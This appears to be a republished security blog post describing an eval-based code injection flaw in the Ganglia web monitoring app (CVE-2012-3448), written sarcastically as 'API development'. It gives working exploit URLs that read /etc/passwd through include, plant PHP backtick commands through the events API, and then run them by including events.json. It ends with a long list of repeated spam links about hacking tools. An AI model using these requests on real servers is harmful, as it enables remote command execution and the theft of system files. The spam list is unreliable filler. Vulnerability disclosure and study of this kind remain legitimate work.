http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
More information
- How To Install Pentest Tools In Ubuntu
- Hacking Tools For Windows
- Hack Tools For Ubuntu
- Free Pentest Tools For Windows
- Hack Rom Tools
- Hacking Tools Online
- Hack App
- Hacker Security Tools
- Hacking Tools Windows 10
- Pentest Tools Bluekeep
- Hacking Tools Online
- Hacking Tools Windows 10
- Pentest Tools Free
- Hacker Tools Github
- Hacking Tools 2019
- Pentest Tools Port Scanner
- Hacking Tools For Beginners
- Hacking Tools 2020
- Pentest Tools Port Scanner
- Github Hacking Tools
- Hacking Tools 2019
- Hacking Tools For Games
- Hackrf Tools
- Pentest Tools For Ubuntu
- Best Hacking Tools 2019
- Pentest Tools Linux
- Hack Tools For Pc
- Hacker Tools Hardware
- Hacking Apps
- Hacker Tool Kit
- Pentest Tools Android
- How To Install Pentest Tools In Ubuntu
- Hack Tools
- Hacker Tools 2020
- How To Install Pentest Tools In Ubuntu
- Hack And Tools
- Hacking Tools For Windows 7
- Hacker Tools Github
- Pentest Tools
- Pentest Tools Free
- Pentest Tools Bluekeep
- Hacking Tools Free Download
- What Are Hacking Tools
- Pentest Tools Alternative
- How To Make Hacking Tools
- Pentest Tools Apk
- Hacking Tools For Windows 7
- Pentest Tools Download
- Hacking Tools Github
- Free Pentest Tools For Windows
- Hacking Tools Github
- Hacker Tools 2019
- Pentest Tools Download
- Hacking Apps
- Tools 4 Hack
- Hack Tools 2019
- Hacker Security Tools
- Pentest Tools Windows
- Hacking Tools For Kali Linux
- Hacker Tools Windows
- Hak5 Tools
- Hacker Tools For Windows
- Hacker Tools Software
- How To Hack
- Pentest Tools Online
- Nsa Hack Tools Download
- Install Pentest Tools Ubuntu
- Pentest Tools Url Fuzzer
- Hacking Tools Usb
- Hacking Tools Windows 10
- Hack Tools 2019
- Nsa Hack Tools Download
- Hacker
- Pentest Tools Website
- Hacking Tools For Windows 7
- Hack Tools For Pc
- Kik Hack Tools
- Hack Website Online Tool
- Hacking Tools For Pc
- Hack Website Online Tool
- Hacker Tools Windows
- Hacker
- Hack Tools For Pc
- Pentest Tools For Ubuntu
- Pentest Tools Port Scanner
- Hacker Tools 2020
- Hacker Tools Github
- Pentest Recon Tools
- Best Hacking Tools 2019
- Bluetooth Hacking Tools Kali
- Pentest Tools Linux
- Hack Tools
- Hacking Tools Windows
- Hacking Tools Pc
- Pentest Automation Tools
- Hacker Techniques Tools And Incident Handling
- Android Hack Tools Github
- Pentest Tools Kali Linux
- Hacker Security Tools
- Pentest Tools Subdomain
- What Are Hacking Tools
- Pentest Tools Tcp Port Scanner
- Beginner Hacker Tools
- World No 1 Hacker Software
- Hacker Hardware Tools
- Tools For Hacker
- Hacking Tools And Software
- Black Hat Hacker Tools
- Hackrf Tools
- Best Pentesting Tools 2018
- Hacker Tools Github
- Hacking Tools 2019
- Bluetooth Hacking Tools Kali
- Hacking Tools For Games
- Pentest Tools For Mac
- Pentest Tools Github
- Kik Hack Tools
- Bluetooth Hacking Tools Kali
- Hacking Tools Mac
- What Is Hacking Tools
- Hack Tools
- Hack Tools For Mac
- Kik Hack Tools
- World No 1 Hacker Software
- Hacker Tools Free
- Hacking Tools For Windows Free Download
- Pentest Tools Nmap
- Hack App
- Github Hacking Tools
- Hack Tools
- Hack Tools Pc
- Hacker Tools 2019
- Hacking Tools Pc
- Hacking Tools And Software
- Pentest Box Tools Download
- Hacker Tools Linux
- Hack Rom Tools
- Pentest Tools Android
- Hackers Toolbox
- Nsa Hack Tools
- Hak5 Tools
- Hack Tool Apk No Root
- Blackhat Hacker Tools
- Hacker Tool Kit
- Hacking Apps
- Install Pentest Tools Ubuntu
- Pentest Tools Find Subdomains
- Hacking Tools Download
- How To Install Pentest Tools In Ubuntu
- How To Install Pentest Tools In Ubuntu
- What Is Hacking Tools
- Hack Tools Online
- Pentest Tools List
- Hack Tools
- Wifi Hacker Tools For Windows
- Hack Tools 2019
- Install Pentest Tools Ubuntu
- Hacker Tools Linux
- Pentest Tools Open Source
- Hacking Tools Github
- Hacker Hardware Tools
- Wifi Hacker Tools For Windows
- Termux Hacking Tools 2019
- Pentest Tools Website Vulnerability
- World No 1 Hacker Software
- New Hack Tools
- Hacking Tools Usb
- Pentest Tools Windows
- Hacker Tools Free Download
- Pentest Tools List
- Pentest Tools Online
- Beginner Hacker Tools
No comments:
Post a Comment